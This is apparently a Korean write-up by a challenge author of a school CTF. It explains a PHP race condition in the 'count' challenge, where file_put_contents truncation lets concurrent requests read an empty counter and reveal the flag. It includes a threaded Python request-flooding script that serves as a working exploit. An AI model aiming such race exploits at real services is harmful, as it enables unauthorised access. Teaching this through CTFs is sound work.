고등해커는 올해 처음으로 학생이 주도 및 운영해본 교내 CTF입니다. 저는 CTF 플랫폼 제작과 웹 문제 출제를 담당했으며, 출제한 문제 중 친구들이 재밌게 풀어준 count라는 문제에 대해 간단히 풀이를 작성해보겠습니다.
count는 PHP의 파일 입출력에서 발생할 수 있는 레이스컨디션 문제이며, flag를 얻는 것이 불가능해 보이는 상황에서 레이스컨디션 공격을 이해하고 flag를 획득할 수 있는지 묻는 간단한 문제였습니다. 다음은 문제의 소스코드입니다.
<?php
error_reporting(0);
require_once 'flag.php';
if(isset($_GET['source'])) {
show_source(__FILE__);
exit;
}
$cnt_file = 'cnt';
if(!file_exists($cnt_file)) {
file_put_contents($cnt_file, '10');
}
$cnt = (int)file_get_contents($cnt_file); // read count
if($cnt >= 30) {
$cnt = 10;
}
$cnt = $cnt + 1;
file_put_contents($cnt_file, $cnt); // write count
if($cnt == 1) {
die($flag);
}
echo "your cnt: ".$cnt;
?>
<br><a href="?source">source</a>
레이스컨디션(Race condition)
레이스컨디션은 둘 이상의 프로세스나 스레드가 하나의 공유 자원에 동시에 접근할 때, 실행되는 순서나 타이밍에 따라 결과가 달라지는 현상을 의미합니다. 이러한 특이점을 이용해 해커가 원하는 결과를 도출해내는 것을 레이스컨디션 공격이라고 합니다. 보다 자세한 정보는 링크를 참고해주세요.
count 문제는 레이스컨디션 공격을 통해 $cnt 변수를 1로 만들어 flag를 얻는 문제이며, 풀이를 설명하기 앞서 PHP의 file_get_contents 함수와 file_put_contents 함수의 동작에 대해 알고 있으면 좋습니다.
File I/O Functions of PHP
PHP의 file_get_contents, file_put_contents 함수는 가장 많이 쓰이는 파일 입출력 기능으로, 파일을 열고 내용을 읽거나 쓴 뒤 닫는 과정을 간단하게 처리할 수 있도록 만들어진 함수입니다. 다음은 간단한 사용 예시입니다.
echo file_get_contents('readme.txt');
file_put_contents('writeme.txt', 'hello');
여기서 중요한 점은 file_put_contents가 FILE_APPEND 옵션 없이 사용될 경우 기존 파일의 내용을 덮어쓴다는 것입니다.
파일을 덮어쓰는 과정에서는 기존 파일의 크기가 먼저 0으로 줄어든 뒤 새로운 내용이 기록됩니다. 따라서 여러 요청이 동시에 실행되면 한 요청이 file_put_contents를 통해 파일을 비운 직후, 새로운 내용이 완전히 기록되기 전에 다른 요청이 file_get_contents로 해당 파일을 읽을 수 있습니다.
다시 문제의 PHP 코드를 보면 cnt 파일을 읽고, 값을 증가시킨 뒤 다시 파일에 쓰는 과정에 별도의 동기화 처리가 존재하지 않습니다.
$cnt = (int)file_get_contents($cnt_file);
$cnt = $cnt + 1;
file_put_contents($cnt_file, $cnt);
동시에 여러 개의 스레드로 요청을 보내면 한 요청이 file_put_contents로 cnt 파일을 비운 직후, 다른 요청의 file_get_contents가 내용이 없는 파일을 읽을 수 있습니다.
이 경우 file_get_contents는 빈 문자열을 반환하게 되며, 이를 정수로 변환하면 0이 됩니다.
$cnt = (int)'';
// $cnt = 0
이후 $cnt = $cnt + 1을 통해 $cnt에는 1이 들어가게 되고, 다음 조건을 만족하여 flag를 얻을 수 있습니다.
if($cnt == 1) {
die($flag);
}
Intended solution
다음과 같이 여러 개의 스레드를 생성하여 요청을 반복적으로 전송하면 레이스컨디션이 발생하는 순간 flag를 획득할 수 있습니다.
import requests
import threading
def request(sandbox):
global response
uri = 'http://game.withphp.com/sandbox/' + sandbox
response = requests.get(uri).text
if __name__ == '__main__':
sandbox = '80e30ab2318c6a531cdde54c009a54ca/'
response = ''
while True:
threading.Thread(
target=request,
args=(sandbox,)
).start()
if 'Sunrin{' in response: # flag format is Sunrin{...}
print(response, flush=True)
break
print('End', flush=True)
결과적으로 이 문제는 파일을 덮어쓰는 과정에서 잠시 내용이 비어 있는 상태를 다른 요청이 읽을 수 있다는 점을 이용한 레이스컨디션 문제입니다.